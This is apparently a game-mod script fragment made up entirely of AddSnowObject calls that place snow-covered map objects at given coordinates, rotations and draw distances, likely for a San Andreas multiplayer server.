AddSnowObject(722, -732.890, -1837.140, 15.320, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(17127, -750.867, -1844.050, 62.445, 0.000, 0.000, 0.000, 318.9);
AddSnowObject(722, -713.117, -1837.229, 14.570, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(722, -688.023, -1867.770, 7.429, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(17085, -1527.229, -1633.219, 20.242, 0.000, 0.000, 0.000, 283.7);
AddSnowObject(17273, -1449.300, -1627.770, 42.328, 0.000, 0.000, 0.000, 170.9);
AddSnowObject(791, -1287.989, -1646.810, 52.015, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1368.719, -1588.699, 98.492, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17087, -1239.839, -1617.060, 52.492, 0.000, 0.000, 0.000, 282.8);
AddSnowObject(791, -1132.589, -1591.160, 72.250, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1200.939, -1591.160, 58.000, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17108, -1058.780, -1648.430, 79.726, 0.000, 0.000, 0.000, 300.9);
AddSnowObject(17333, -762.476, -1638.150, 94.484, 0.000, 0.000, 0.000, 218.7);
AddSnowObject(693, -793.945, -1592.439, 128.054, 0.000, 0.000, -139.166, 133.5);
AddSnowObject(17327, -713.828, -1648.219, 48.648, 0.000, 0.000, 0.000, 209.5);
AddSnowObject(791, -1522.770, -1538.349, 34.148, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17275, -1592.670, -1530.000, 36.171, 0.000, 0.000, 0.000, 218.5);
AddSnowObject(17056, -1462.020, -1532.530, 101.905, -0.000, 0.000, -0.000, 134.1);
AddSnowObject(791, -1274.579, -1559.819, 21.609, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1013.780, -1546.780, 76.554, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(693, -786.968, -1562.369, 134.453, 0.000, 0.000, -139.166, 133.5);
AddSnowObject(17283, -1274.630, -1514.880, 28.398, 0.000, 0.000, 0.000, 197.7);
AddSnowObject(17284, -1073.099, -1510.439, 63.843, 0.000, 0.000, 0.000, 182.6);
AddSnowObject(791, -856.117, -1499.130, 114.063, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17104, -688.960, -1496.329, 41.296, 0.000, 0.000, 0.000, 328.0);
AddSnowObject(17285, -925.250, -1488.949, 92.601, 0.000, 0.000, 0.000, 168.7);
AddSnowObject(791, -1107.010, -1485.079, 119.710, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17105, -737.757, -1482.520, 72.578, 0.000, 0.000, 0.000, 330.5);
AddSnowObject(693, -826.054, -1479.270, 119.655, 0.000, 0.000, 97.376, 133.5);
AddSnowObject(693, -819.164, -1463.410, 118.296, 0.000, 0.000, 175.391, 133.5);
AddSnowObject(693, -816.437, -1398.050, 105.359, 0.000, 0.000, -139.166, 133.5);
AddSnowObject(17331, -758.859, -1370.229, 78.882, 0.000, 0.000, 0.000, 227.4);
AddSnowObject(17329, -721.726, -1359.599, 61.671, 0.000, 0.000, 0.000, 223.9);
AddSnowObject(790, -607.046, -1467.229, 15.171, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(791, -617.304, -1408.390, 13.914, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(693, -733.039, -1297.229, 69.992, 0.000, 0.000, -139.166, 133.5);
AddSnowObject(693, -709.882, -1295.979, 68.734, 0.000, 0.000, -139.166, 133.5);
AddSnowObject(693, -705.164, -1321.410, 68.375, 0.000, 0.000, -139.166, 133.5);
AddSnowObject(791, -614.492, -1344.020, 15.984, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17262, -647.273, -1336.209, 18.468, 0.000, 0.000, 0.000, 196.0);
AddSnowObject(17287, -821.890, -1269.739, 76.210, 0.000, 0.000, -0.000, 173.2);
AddSnowObject(693, -739.257, -1284.589, 71.492, 0.000, 0.000, -139.166, 133.5);
AddSnowObject(791, -608.492, -1280.520, 15.984, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(790, -488.117, -1441.380, 17.218, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -448.093, -1442.949, 23.242, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -425.953, -1432.780, 25.054, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(17123, -511.453, -1312.020, 24.007, 0.000, 0.000, 0.000, 330.7);
AddSnowObject(17291, -424.851, -1249.579, 40.914, 0.000, 0.000, 0.000, 174.5);
AddSnowObject(17103, -745.312, -1148.280, 61.437, 0.000, 0.000, 0.000, 315.3);
AddSnowObject(17288, -762.156, -1154.180, 61.578, 0.000, 0.000, 0.000, 165.2);
AddSnowObject(791, -652.468, -1201.770, 14.992, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17289, -653.250, -1134.770, 46.859, 0.000, 0.000, 0.000, 163.3);
AddSnowObject(17260, -587.507, -1170.910, 20.914, 0.000, 0.000, 0.000, 199.1);
AddSnowObject(17309, -597.476, -1163.380, 40.054, 0.000, 0.000, 0.000, 142.8);
AddSnowObject(17290, -540.710, -1207.520, 41.085, 0.000, 0.000, -0.000, 169.8);
AddSnowObject(17116, -452.234, -1142.270, 40.468, 0.000, 0.000, 0.000, 302.7);
AddSnowObject(790, -635.906, -1082.910, 24.828, 0.000, 0.000, 129.226, 131.6);
AddSnowObject(17067, -588.750, -1046.180, 22.289, 0.000, 0.000, 0.000, 130.3);
AddSnowObject(790, -560.210, -1067.949, 26.250, 0.000, 0.000, 129.226, 131.6);
AddSnowObject(790, -755.273, -1029.660, 84.250, 0.000, 0.000, -68.613, 131.6);
AddSnowObject(17248, -780.148, -1023.130, 80.125, 0.000, 0.000, 0.000, 218.5);
AddSnowObject(790, -506.421, -1012.380, 28.960, 0.000, 0.000, -67.273, 131.6);
AddSnowObject(17258, -492.359, -1010.479, 23.687, 0.000, 0.000, 0.000, 185.9);
AddSnowObject(790, -801.906, -986.382, 85.679, 0.000, 0.000, -68.613, 131.6);
AddSnowObject(17102, -536.093, -985.039, 38.070, 0.000, 0.000, 0.000, 316.7);
AddSnowObject(791, -368.968, -978.492, 52.273, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17250, -585.937, -953.976, 60.929, 0.000, 0.000, 0.000, 197.3);
AddSnowObject(791, -414.968, -963.945, 30.945, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(790, -763.523, -933.210, 96.234, 0.000, 0.000, -68.613, 131.6);
AddSnowObject(790, -303.195, -1196.630, 22.726, 0.000, 0.000, 101.726, 131.6);
AddSnowObject(693, -274.273, -1189.989, 16.406, 0.000, 0.000, 59.741, 133.5);
AddSnowObject(790, -270.882, -1214.680, 9.679, 0.000, 0.000, 101.726, 131.6);
AddSnowObject(17292, -302.414, -1157.579, 30.390, 0.000, 0.000, 0.000, 199.3);
AddSnowObject(17119, -226.960, -1253.910, 7.867, 0.000, 0.000, 0.000, 251.3);
AddSnowObject(17302, -160.828, -1100.770, 6.429, 0.000, 0.000, 0.000, 240.3);
AddSnowObject(17296, -178.117, -1049.770, 14.335, 0.000, 0.000, 0.000, 180.0);
AddSnowObject(17305, -153.195, -971.960, 34.265, 0.000, 0.000, 0.000, 249.8);
AddSnowObject(17115, -283.968, -960.070, 33.625, 0.000, 0.000, 0.000, 374.7);
AddSnowObject(17111, -124.234, -1453.020, 3.726, 0.000, 0.000, -43.627, 168.1);
AddSnowObject(17279, -111.008, -1362.339, 5.234, 0.000, 0.000, 0.000, 228.3);
AddSnowObject(17118, -52.242, -1395.510, 4.523, 0.000, 0.000, 0.000, 275.5);
AddSnowObject(791, -54.835, -1201.050, 0.218, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17281, -42.507, -1476.890, 4.312, 0.000, 0.000, 0.000, 251.3);
AddSnowObject(17110, -5.062, -1345.579, 2.515, 0.000, 0.000, -41.375, 184.1);
AddSnowObject(17303, -114.953, -1179.699, 3.148, 0.000, 0.000, 0.000, 231.1);
AddSnowObject(17072, -54.992, -1130.729, 4.578, 0.000, 0.000, 156.870, 132.6);
AddSnowObject(17301, -49.390, -1140.869, 5.203, 0.000, 0.000, 0.000, 275.4);
AddSnowObject(17293, -126.530, -1019.909, 16.273, 0.000, 0.000, 156.002, 151.9);
AddSnowObject(17297, -28.648, -1020.340, 16.398, 0.000, 0.000, 0.000, 178.6);
AddSnowObject(17117, 5.046, -1000.340, 17.085, 0.000, 0.000, 0.000, 207.1);
AddSnowObject(791, -762.210, -699.460, 101.780, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17029, -756.429, -650.164, 61.710, 0.000, 0.000, -0.000, 141.2);
AddSnowObject(791, -751.156, -791.226, 145.414, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17097, -764.265, -560.304, 42.726, 0.000, 0.000, 0.000, 305.0);
AddSnowObject(791, -735.406, -510.328, 23.664, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17098, -672.437, -925.203, 88.046, 0.000, 0.000, 0.000, 309.1);
AddSnowObject(791, -652.140, -922.296, 105.171, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -624.328, -861.078, 99.148, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17035, -630.539, -783.312, 58.007, 0.000, 0.000, 0.000, 202.6);
AddSnowObject(791, -594.695, -906.523, 96.734, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17034, -561.015, -745.320, 26.390, 0.000, 0.000, 0.000, 138.1);
AddSnowObject(17012, -542.007, -522.843, 29.593, 0.000, 0.000, 89.999, 151.0);
AddSnowObject(17099, -499.828, -680.148, 31.242, 0.000, 0.000, 0.000, 333.9);
AddSnowObject(791, -642.765, -447.007, 25.570, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17018, -565.765, -489.140, 29.710, 0.000, 0.000, 89.696, 194.6);
AddSnowObject(790, -532.171, -441.437, 30.804, 0.000, 0.000, -163.613, 131.6);
AddSnowObject(17194, -736.210, -431.195, 16.757, 0.000, 0.000, 0.000, 197.0);
AddSnowObject(17094, -747.218, -387.015, 0.031, 0.000, 0.000, 0.000, 246.9);
AddSnowObject(693, -554.296, -426.976, 34.242, 0.000, 0.000, 54.996, 133.5);
AddSnowObject(693, -514.843, -432.171, 26.468, 0.000, 0.000, 54.996, 133.5);
AddSnowObject(17030, -501.062, -434.031, 18.890, 0.000, 0.000, 0.000, 139.0);
AddSnowObject(17192, -550.421, -396.898, 17.804, 0.000, 0.000, 0.000, 196.8);
AddSnowObject(791, -476.976, -664.507, 12.460, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17026, -468.726, -761.578, 27.953, 0.000, 0.000, 0.000, 138.5);
AddSnowObject(791, -460.257, -591.960, 11.062, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17252, -419.398, -852.351, 48.328, 0.000, 0.000, 0.000, 219.5);
AddSnowObject(791, -426.617, -689.679, 14.054, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17256, -400.570, -866.070, 26.210, 0.000, 0.000, 0.000, 188.3);
AddSnowObject(791, -392.281, -763.617, 28.492, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17188, -389.515, -684.351, 18.156, 0.000, 0.000, 0.000, 191.3);
AddSnowObject(17254, -315.093, -805.882, 35.640, 0.000, 0.000, 0.000, 170.1);
AddSnowObject(17101, -364.960, -668.953, 12.132, 0.000, 0.000, 0.000, 255.4);
AddSnowObject(17100, -487.187, -439.546, 15.429, 0.000, 0.000, 0.000, 317.6);
AddSnowObject(790, -466.578, -441.437, 19.843, 0.000, 0.000, -163.613, 131.6);
AddSnowObject(17190, -416.968, -510.031, 14.875, 0.000, 0.000, 0.000, 206.1);
AddSnowObject(17150, -643.125, -2776.189, 59.804, 0.000, 0.000, 0.000, 286.7);
AddSnowObject(791, -661.296, -2571.239, 56.562, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17140, -591.789, -2606.300, 110.921, 0.000, 0.000, 0.000, 313.6);
AddSnowObject(791, -563.242, -2516.370, 62.507, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17133, -559.796, -2772.290, 73.132, 0.000, 0.000, 0.000, 261.2);
AddSnowObject(791, -604.890, -2470.760, 46.617, 14.999, 0.000, 0.000, 162.6);
AddSnowObject(791, -630.757, -2401.399, 26.765, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17144, -639.367, -2342.979, 33.304, 0.000, 0.000, 0.000, 273.2);
AddSnowObject(791, -577.898, -2313.840, 25.640, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(791, -630.945, -2254.020, 19.984, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(791, -607.875, -2217.870, 23.765, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17176, -564.890, -2202.229, 36.695, 0.000, 0.000, 0.000, 272.8);
AddSnowObject(17075, -542.195, -2213.689, 40.585, 0.000, 0.000, 0.000, 244.9);
AddSnowObject(791, -514.132, -2245.550, 31.492, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(791, -659.570, -2170.159, 12.046, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -647.421, -2112.830, 25.703, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -667.656, -2138.810, 22.492, 0.000, 0.000, -55.509, 162.6);
AddSnowObject(791, -574.929, -2197.229, 23.765, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(791, -624.648, -2072.790, 26.007, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -631.453, -2065.889, 25.703, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -543.281, -2066.219, 54.710, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(791, -576.234, -2070.469, 39.210, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17128, -604.484, -2057.320, 36.109, 0.000, 0.000, 0.000, 333.9);
AddSnowObject(722, -683.578, -2027.079, 17.718, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(722, -479.320, -2832.229, 44.921, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(17141, -400.054, -2562.610, 126.851, 0.000, 0.000, 0.000, 247.3);
AddSnowObject(17143, -493.812, -2446.830, 93.765, 0.000, 0.000, 0.000, 228.3);
AddSnowObject(17142, -473.203, -2372.419, 64.585, 0.000, 0.000, 0.000, 284.3);
AddSnowObject(791, -504.062, -2123.530, 80.625, 0.000, 0.000, 166.500, 162.6);
AddSnowObject(791, -459.617, -2086.590, 76.164, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(791, -455.320, -2124.290, 85.453, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(791, -417.304, -2147.120, 81.437, 0.000, 0.000, 166.500, 162.6);
AddSnowObject(17028, -446.804, -2037.400, 50.132, 0.000, 0.000, 0.000, 172.8);
AddSnowObject(17132, -344.187, -2799.800, 57.218, 0.000, 0.000, 0.000, 326.4);
AddSnowObject(17120, -336.390, -2139.739, 36.414, 0.000, 0.000, 44.999, 157.4);
AddSnowObject(791, -384.093, -2055.479, 30.195, -0.000, -16.362, 166.500, 162.6);
AddSnowObject(17129, -358.117, -2041.770, 35.148, 0.000, 0.000, 0.000, 341.2);
AddSnowObject(17178, -325.304, -2129.280, 41.773, 0.000, 0.000, 0.000, 208.7);
AddSnowObject(791, -305.820, -2063.060, 24.812, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17158, -291.710, -2213.320, 27.734, 0.000, 0.000, 0.000, 277.0);
AddSnowObject(791, -584.515, -1994.300, 38.921, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -579.757, -1991.449, 41.320, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -524.546, -2005.089, 44.015, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17076, -660.671, -1958.410, -0.093, 0.000, 0.000, 0.000, 279.8);
AddSnowObject(791, -594.914, -1954.400, 31.562, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -513.968, -1975.410, 37.632, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17472, -500.578, -1938.900, 30.257, 0.000, 0.000, 0.000, 139.9);
AddSnowObject(791, -635.921, -1923.880, 8.812, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -535.476, -1851.069, 8.812, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -473.257, -1842.729, 5.820, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17025, -571.453, -1817.089, 34.515, 0.000, 0.000, 0.000, 136.0);
AddSnowObject(791, -406.289, -1969.349, 15.687, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(791, -392.390, -2006.270, 23.585, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17112, -343.078, -1858.969, 9.828, 0.000, 0.000, 0.000, 174.5);
AddSnowObject(17295, -334.914, -1854.619, 21.187, 0.000, 0.000, -36.545, 205.0);
AddSnowObject(17160, -330.164, -1860.890, 20.203, 0.000, 0.000, 0.000, 284.1);
AddSnowObject(791, -321.375, -1977.930, 17.617, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(17125, -460.882, -1776.579, 9.664, 0.000, 0.000, 0.000, 271.0);
AddSnowObject(17124, -638.828, -1736.800, 61.835, 0.000, 0.000, 0.000, 281.0);
AddSnowObject(17326, -666.078, -1586.949, 24.937, 0.000, 0.000, 0.000, 245.0);
AddSnowObject(17471, -471.476, -1550.089, 15.875, 0.000, 0.000, 0.000, 335.2);
AddSnowObject(791, -445.687, -1517.469, 13.265, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(693, -601.312, -1494.349, 17.773, 0.000, 0.000, 39.721, 133.5);
AddSnowObject(790, -396.648, -1482.010, 29.648, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(17152, -258.789, -2832.429, 44.835, 0.000, 0.000, 0.000, 282.7);
AddSnowObject(791, -146.414, -2723.770, 56.601, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17134, -288.257, -2575.800, 98.085, 0.000, 0.000, 0.000, 245.5);
AddSnowObject(791, -233.578, -2434.239, 38.398, 0.816, 15.667, 4.936, 162.6);
AddSnowObject(790, -212.828, -2409.520, 35.937, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -144.921, -2384.629, 32.382, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(17131, -97.054, -2794.949, 38.687, 0.000, 0.000, 0.000, 299.9);
AddSnowObject(790, -115.976, -2747.159, 67.640, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -80.210, -2729.969, 75.546, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -92.062, -2760.909, 73.914, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -129.164, -2703.530, 75.359, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(791, -84.679, -2697.449, 73.773, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(790, -87.929, -2683.949, 78.507, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -70.953, -2664.209, 82.867, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -125.226, -2628.449, 68.367, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -109.116, -2654.250, 75.992, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -85.445, -2621.120, 78.398, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(791, -79.187, -2647.709, 73.773, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -115.640, -2602.370, 63.218, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -102.530, -2556.850, 38.148, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(790, -119.984, -2529.860, 36.242, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(17156, -108.578, -2466.070, 34.835, 0.000, 0.000, 0.000, 285.5);
AddSnowObject(790, -99.906, -2434.209, 36.656, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -66.640, -2463.870, 38.617, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(791, -74.265, -2439.790, 26.156, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17154, -37.046, -2730.229, 39.632, 0.000, 0.000, 0.000, 259.8);
AddSnowObject(790, 27.921, -2685.419, 43.437, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(17145, -48.007, -2570.159, 38.875, 0.000, 0.000, 0.000, 308.5);
AddSnowObject(790, -35.546, -2469.949, 35.937, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, 3.664, -2579.560, 43.234, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, 14.812, -2600.979, 43.437, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -246.585, -2317.030, 32.125, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(17130, -260.546, -2294.449, 36.187, 0.000, 0.000, 0.000, 369.0);
AddSnowObject(17180, -271.914, -1944.130, 27.210, 0.000, 0.000, 0.000, 204.0);
AddSnowObject(17126, -277.500, -1747.589, 5.726, 0.000, 0.000, 0.000, 271.0);
AddSnowObject(17182, -253.477, -1749.270, 7.335, 0.000, 0.000, 0.000, 213.9);
AddSnowObject(17162, -242.031, -1608.979, 13.882, 0.000, 0.000, 0.000, 246.8);
AddSnowObject(17307, -222.554, -1568.410, 5.976, 0.000, 0.000, -43.627, 172.5);
AddSnowObject(17122, -211.953, -1543.380, 4.398, 0.000, 0.000, 0.000, 297.5);
AddSnowObject(790, -203.477, -1617.349, 5.867, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(17294, -203.195, -1546.160, 12.976, 0.000, 0.000, -36.545, 219.7);
AddSnowObject(693, -184.875, -1587.849, 8.507, 0.000, 0.000, 59.741, 133.5);
AddSnowObject(17184, -144.397, -1629.300, 2.187, 0.000, 0.000, 0.000, 179.2);
AddSnowObject(790, -141.281, -1618.949, 5.710, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(790, -130.320, -1602.489, 5.710, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(693, -81.562, -1522.380, 5.687, 0.000, 0.000, 43.697, 133.5);
AddSnowObject(17121, -65.054, -1572.949, -3.898, 0.000, 0.000, 0.000, 254.5);
AddSnowObject(17186, -39.320, -1566.719, 1.421, 0.000, 0.000, 0.000, 155.5);
AddSnowObject(790, -47.312, -1543.069, 5.789, 0.000, 0.000, -177.015, 131.6);
AddSnowObject(17277, -1805.189, -1432.719, 35.507, 0.000, 0.000, 0.000, 210.5);
AddSnowObject(17081, -1788.439, -1407.380, 35.742, 0.000, 0.000, 0.000, 333.9);
AddSnowObject(791, -1631.880, -1462.650, 51.953, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1596.510, -1362.890, 44.765, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17218, -1583.800, -1415.339, 41.421, 0.000, 0.000, 0.000, 179.1);
AddSnowObject(17220, -1533.219, -1368.489, 46.507, 0.000, 0.000, 0.000, 183.2);
AddSnowObject(790, -1604.439, -1338.219, 53.226, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(790, -1622.329, -1318.449, 50.078, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(790, -1599.410, -1303.579, 57.242, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(791, -1616.020, -1290.209, 53.351, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17216, -1684.270, -1279.239, 49.679, 0.000, 0.000, 0.000, 186.1);
AddSnowObject(791, -1648.800, -1267.170, 51.882, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17084, -1504.099, -1458.699, 63.328, 0.000, 0.000, 0.000, 367.3);
AddSnowObject(790, -1454.510, -1431.209, 105.703, 0.000, 0.000, -163.613, 131.6);
AddSnowObject(17236, -1448.449, -1337.560, 99.828, 0.000, 0.000, 0.000, 171.9);
AddSnowObject(790, -1435.150, -1261.959, 102.414, 0.000, 0.000, 10.807, 131.6);
AddSnowObject(17238, -1367.800, -1398.849, 108.351, 0.000, 0.000, 0.000, 192.7);
AddSnowObject(693, -1318.719, -1343.680, 148.679, 0.000, 0.000, -133.770, 133.5);
AddSnowObject(791, -1307.290, -1452.050, 101.938, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(790, -1219.800, -1322.920, 151.983, 0.000, 0.000, -163.613, 131.6);
AddSnowObject(17089, -1233.800, -1451.270, 98.765, 0.000, 0.000, 0.000, 331.5);
AddSnowObject(17240, -1184.630, -1345.770, 123.523, 0.000, 0.000, 0.000, 187.1);
AddSnowObject(790, -1656.729, -1242.500, 55.828, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(791, -1615.160, -1238.270, 54.789, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17083, -1461.260, -1223.130, 136.632, 0.000, 0.000, 0.000, 353.5);
AddSnowObject(790, -1674.619, -1222.729, 50.078, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(17234, -1526.619, -1220.010, 100.734, 0.000, 0.000, 0.000, 181.5);
AddSnowObject(790, -1651.699, -1207.859, 50.078, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(791, -1668.310, -1194.489, 52.648, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17222, -1602.390, -1213.199, 65.500, 0.000, 0.000, 0.000, 186.2);
AddSnowObject(790, -1465.329, -1189.619, 113.921, 0.000, 0.000, -163.613, 131.6);
AddSnowObject(17080, -1664.660, -1176.800, 69.023, 0.000, 0.000, 0.000, 300.0);
AddSnowObject(693, -1491.310, -1163.520, 126.765, 0.000, 0.000, 34.516, 133.5);
AddSnowObject(790, -1239.640, -1232.270, 130.750, 0.000, 0.000, -148.613, 131.6);
AddSnowObject(790, -1228.390, -1213.280, 130.750, 0.000, 0.000, -148.613, 131.6);
AddSnowObject(790, -1273.500, -1213.510, 130.750, 0.000, 0.000, -103.613, 131.6);
AddSnowObject(790, -1314.400, -1195.869, 132.468, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(790, -1508.109, -1136.349, 128.625, 0.000, 0.000, 131.471, 131.6);
AddSnowObject(17214, -1759.619, -1129.650, 53.632, 0.000, 0.000, 0.000, 186.9);
AddSnowObject(790, -1210.319, -1146.420, 132.945, 0.000, 0.000, -148.613, 131.6);
AddSnowObject(17224, -1704.619, -1100.420, 72.531, 0.000, 0.000, 0.000, 187.9);
AddSnowObject(17232, -1619.150, -1092.579, 101.648, 0.000, 0.000, 0.000, 187.7);
AddSnowObject(790, -1704.930, -1015.729, 76.492, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(791, -1697.000, -1040.400, 71.664, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1768.319, -1016.510, 64.093, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(790, -1722.819, -995.960, 70.750, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(17212, -1804.930, -982.203, 48.453, 0.000, 0.000, 0.000, 177.9);
AddSnowObject(790, -1182.880, -1362.119, 125.844, 0.000, 0.000, -163.613, 131.6);
AddSnowObject(790, -1162.550, -1362.589, 132.554, 0.000, 0.000, -163.613, 131.6);
AddSnowObject(790, -1143.760, -1228.939, 130.710, 0.000, 0.000, 81.386, 131.6);
AddSnowObject(791, -1083.900, -1381.469, 126.085, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1099.430, -1428.959, 124.155, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17090, -1172.229, -1171.089, 131.102, 0.000, 0.000, 0.000, 314.7);
AddSnowObject(791, -1070.949, -1455.160, 124.125, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1013.789, -1310.410, 127.523, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17242, -1013.979, -1375.479, 128.602, 0.000, 0.000, 0.000, 189.2);
AddSnowObject(791, -1020.799, -1426.199, 126.085, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17244, -910.273, -1339.449, 120.000, 0.000, 0.000, 0.000, 184.6);
AddSnowObject(791, -949.312, -1254.130, 130.141, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17095, -947.531, -1219.170, 121.375, 0.000, 0.000, 0.000, 319.6);
AddSnowObject(17106, -858.890, -1406.180, 105.319, 0.000, 0.000, 0.000, 296.6);
AddSnowObject(17286, -847.773, -1401.750, 91.867, 0.000, 0.000, -0.000, 172.1);
AddSnowObject(790, -982.117, -1077.739, 133.156, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(790, -957.492, -1197.270, 131.445, 0.000, 0.000, -68.613, 131.6);
AddSnowObject(791, -955.140, -1167.479, 126.430, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(790, -963.953, -992.750, 133.156, 0.000, 0.000, -68.613, 131.6);
AddSnowObject(790, -952.687, -1028.910, 133.156, 0.000, 0.000, -68.613, 131.6);
AddSnowObject(17062, -970.734, -1037.520, 96.492, 0.000, 0.000, 39.999, 213.4);
AddSnowObject(790, -925.351, -1007.330, 133.156, 0.000, 0.000, 166.386, 131.6);
AddSnowObject(790, -854.000, -1106.199, 94.125, 0.000, 0.000, -68.613, 131.6);
AddSnowObject(17246, -886.898, -1145.589, 100.734, 0.000, 0.000, 0.000, 183.5);
AddSnowObject(11085, -2164.449, -237.617, 41.406, 0.000, 0.000, 0.000, 142.1);
AddSnowObject(14675, 1719.750, -1655.770, 30.195, 0.000, 0.000, 0.000, 133.5);
AddSnowObject(739, 1986.849, -1101.150, 24.210, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(739, 2011.229, -1218.979, 19.125, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(739, 1864.770, -1224.890, 15.539, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(739, 2096.520, -1427.079, 22.664, 0.000, 0.000, 0.000, 131.1);
